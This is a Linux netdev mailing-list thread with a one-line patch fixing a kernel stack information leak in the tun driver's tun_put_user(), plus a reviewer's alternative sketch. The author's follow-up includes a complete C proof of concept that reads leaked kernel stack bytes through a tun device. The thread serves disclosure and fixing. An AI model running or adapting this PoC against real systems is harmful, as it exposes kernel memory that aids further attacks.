* [PATCH net] tun: zero the whole vnet header in tun_put_user()
@ 2026-06-07 5:44 Xiang Mei
2026-06-07 5:47 ` Xiang Mei
2026-06-07 21:12 ` Willem de Bruijn
0 siblings, 2 replies; 3+ messages in thread
From: Xiang Mei @ 2026-06-07 5:44 UTC (permalink / raw)
To: netdev
Cc: Willem de Bruijn, Jason Wang, Paolo Abeni, Andrew Lunn,
Eric Dumazet, Jakub Kicinski, bestswngs, Xiang Mei
tun_put_user() declares an on-stack struct virtio_net_hdr_v1_hash_tunnel
without zeroing it. For a non-tunnel skb, virtio_net_hdr_tnl_from_skb()
only initializes the first 10 bytes (sizeof(struct virtio_net_hdr)),
leaving bytes 10..23 (num_buffers and the hash/tunnel fields) as stack
garbage.
An unprivileged user can set the vnet header size to 24 with
TUNSETVNETHDRSZ, so __tun_vnet_hdr_put() copies all 24 bytes of the
partially-initialized struct to userspace, leaking 14 bytes of kernel
stack on every read of a non-tunnel packet.
Fix it the same way tun_get_user() already does by zeroing the whole
header right after declaration.
Fixes: 288f30435132 ("tun: enable gso over UDP tunnel support.")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
drivers/net/tun.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/tun.c b/drivers/net/tun.c
index 9e7744eb57a3..fed9dfdfcc3b 100644
--- a/drivers/net/tun.c
+++ b/drivers/net/tun.c
@@ -2070,6 +2070,7 @@ static ssize_t tun_put_user(struct tun_struct *tun,
struct virtio_net_hdr_v1_hash_tunnel hdr;
struct virtio_net_hdr *gso;
+ memset(&hdr, 0, sizeof(hdr));
ret = tun_vnet_hdr_tnl_from_skb(tun->flags, tun->dev, skb,
&hdr);
if (ret)
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net] tun: zero the whole vnet header in tun_put_user()
2026-06-07 5:44 [PATCH net] tun: zero the whole vnet header in tun_put_user() Xiang Mei
@ 2026-06-07 5:47 ` Xiang Mei
2026-06-07 21:12 ` Willem de Bruijn
1 sibling, 0 replies; 3+ messages in thread
From: Xiang Mei @ 2026-06-07 5:47 UTC (permalink / raw)
To: netdev
Cc: Willem de Bruijn, Jason Wang, Paolo Abeni, Andrew Lunn,
Eric Dumazet, Jakub Kicinski, bestswngs
On Sat, Jun 06, 2026 at 10:44:28PM -0700, Xiang Mei wrote:
> tun_put_user() declares an on-stack struct virtio_net_hdr_v1_hash_tunnel
> without zeroing it. For a non-tunnel skb, virtio_net_hdr_tnl_from_skb()
> only initializes the first 10 bytes (sizeof(struct virtio_net_hdr)),
> leaving bytes 10..23 (num_buffers and the hash/tunnel fields) as stack
> garbage.
>
> An unprivileged user can set the vnet header size to 24 with
> TUNSETVNETHDRSZ, so __tun_vnet_hdr_put() copies all 24 bytes of the
> partially-initialized struct to userspace, leaking 14 bytes of kernel
> stack on every read of a non-tunnel packet.
>
> Fix it the same way tun_get_user() already does by zeroing the whole
> header right after declaration.
>
> Fixes: 288f30435132 ("tun: enable gso over UDP tunnel support.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> drivers/net/tun.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/drivers/net/tun.c b/drivers/net/tun.c
> index 9e7744eb57a3..fed9dfdfcc3b 100644
> --- a/drivers/net/tun.c
> +++ b/drivers/net/tun.c
> @@ -2070,6 +2070,7 @@ static ssize_t tun_put_user(struct tun_struct *tun,
> struct virtio_net_hdr_v1_hash_tunnel hdr;
> struct virtio_net_hdr *gso;
>
> + memset(&hdr, 0, sizeof(hdr));
> ret = tun_vnet_hdr_tnl_from_skb(tun->flags, tun->dev, skb,
> &hdr);
> if (ret)
> --
> 2.43.0
>
Thanks for your attention to this bug. Here are some information to
reproduce it.
Configs:
```
CONFIG_TUN=y
CONFIG_INIT_STACK_ALL_ZERO=n
```
PoC:
```c
// PoC: kernel stack info leak in tun_put_user via uninitialized
// virtio_net_hdr_v1_hash_tunnel fields. drivers/net/tun.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/if.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#define TUN_F_UDP_TUNNEL_GSO 0x080
int main(void)
{
int fd = open("/dev/net/tun", O_RDWR);
struct ifreq ifr = { .ifr_flags = IFF_TUN | IFF_NO_PI | IFF_VNET_HDR };
strcpy(ifr.ifr_name, "tun0");
ioctl(fd, TUNSETIFF, &ifr);
int sz = 24;
ioctl(fd, TUNSETVNETHDRSZ, &sz);
ioctl(fd, TUNSETOFFLOAD, TUN_F_CSUM | TUN_F_TSO4 | TUN_F_TSO6 | TUN_F_UDP_TUNNEL_GSO);
// bring tun0 up with 10.99.0.1/24 so a UDP packet routes into it
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in *a = (void *)&ifr.ifr_addr;
a->sin_family = AF_INET;
a->sin_addr.s_addr = inet_addr("10.99.0.1");
ioctl(s, SIOCSIFADDR, &ifr);
a->sin_addr.s_addr = inet_addr("255.255.255.0");
ioctl(s, SIOCSIFNETMASK, &ifr);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
// send a UDP packet that gets routed out through tun0
struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(1234),
.sin_addr.s_addr = inet_addr("10.99.0.2") };
char pkt[128];
memset(pkt, 0x41, sizeof(pkt));
sendto(s, pkt, sizeof(pkt), 0, (void *)&dst, sizeof(dst));
// read it back; bytes 10..23 of the vnet hdr should be zero but leak stack
unsigned char buf[4096];
for (int i = 0; i < 200; i++) {
sendto(s, pkt, sizeof(pkt), 0, (void *)&dst, sizeof(dst));
ssize_t n = read(fd, buf, sizeof(buf));
if (n < sz) continue;
int leak = 0;
for (int j = 10; j < 24; j++) leak |= buf[j];
if (!leak) continue;
printf("[+] leak: ");
for (int j = 10; j < 24; j++) printf("%02x ", buf[j]);
printf("\n");
return 0;
}
printf("[-] no leak observed\n");
return 1;
}
```
Let me know if you have any questions about this bug.
Xiang
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH net] tun: zero the whole vnet header in tun_put_user()
2026-06-07 5:44 [PATCH net] tun: zero the whole vnet header in tun_put_user() Xiang Mei
2026-06-07 5:47 ` Xiang Mei
@ 2026-06-07 21:12 ` Willem de Bruijn
1 sibling, 0 replies; 3+ messages in thread
From: Willem de Bruijn @ 2026-06-07 21:12 UTC (permalink / raw)
To: Xiang Mei, netdev
Cc: Willem de Bruijn, Jason Wang, Paolo Abeni, Andrew Lunn,
Eric Dumazet, Jakub Kicinski, bestswngs, Xiang Mei
Xiang Mei wrote:
> tun_put_user() declares an on-stack struct virtio_net_hdr_v1_hash_tunnel
> without zeroing it. For a non-tunnel skb, virtio_net_hdr_tnl_from_skb()
> only initializes the first 10 bytes (sizeof(struct virtio_net_hdr)),
> leaving bytes 10..23 (num_buffers and the hash/tunnel fields) as stack
> garbage.
>
> An unprivileged user can set the vnet header size to 24 with
> TUNSETVNETHDRSZ, so __tun_vnet_hdr_put() copies all 24 bytes of the
> partially-initialized struct to userspace, leaking 14 bytes of kernel
> stack on every read of a non-tunnel packet.
>
> Fix it the same way tun_get_user() already does by zeroing the whole
> header right after declaration.
>
> Fixes: 288f30435132 ("tun: enable gso over UDP tunnel support.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
Reviewed-by: Willem de Bruijn <willemb@google.com>
> ---
> drivers/net/tun.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/drivers/net/tun.c b/drivers/net/tun.c
> index 9e7744eb57a3..fed9dfdfcc3b 100644
> --- a/drivers/net/tun.c
> +++ b/drivers/net/tun.c
> @@ -2070,6 +2070,7 @@ static ssize_t tun_put_user(struct tun_struct *tun,
> struct virtio_net_hdr_v1_hash_tunnel hdr;
> struct virtio_net_hdr *gso;
>
> + memset(&hdr, 0, sizeof(hdr));
Alternatively clear the trailing bytes only when uninitialized in
virtio_net_hdr_tnl_from_skb. Sketch:
"
+++ b/include/linux/virtio_net.h
@@ -437,6 +437,7 @@ virtio_net_hdr_tnl_from_skb(const struct sk_buff *skb,
if (feature_hdrlen && hdr->hdr_len)
__virtio_net_set_hdrlen(skb, hdr, little_endian);
+ memset(hdr + 1, 0, sizeof(*vhdr) - sizeof(*hdr));
return ret;
}
"
But it's not trivial to very that all fields beyond the basic header
do get initialized in the tunnel case. So clearing entirely certainly
is a more straightforward correctness analysis.
> ret = tun_vnet_hdr_tnl_from_skb(tun->flags, tun->dev, skb,
> &hdr);
> if (ret)
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-06-07 21:12 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-07 5:44 [PATCH net] tun: zero the whole vnet header in tun_put_user() Xiang Mei
2026-06-07 5:47 ` Xiang Mei
2026-06-07 21:12 ` Willem de Bruijn
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox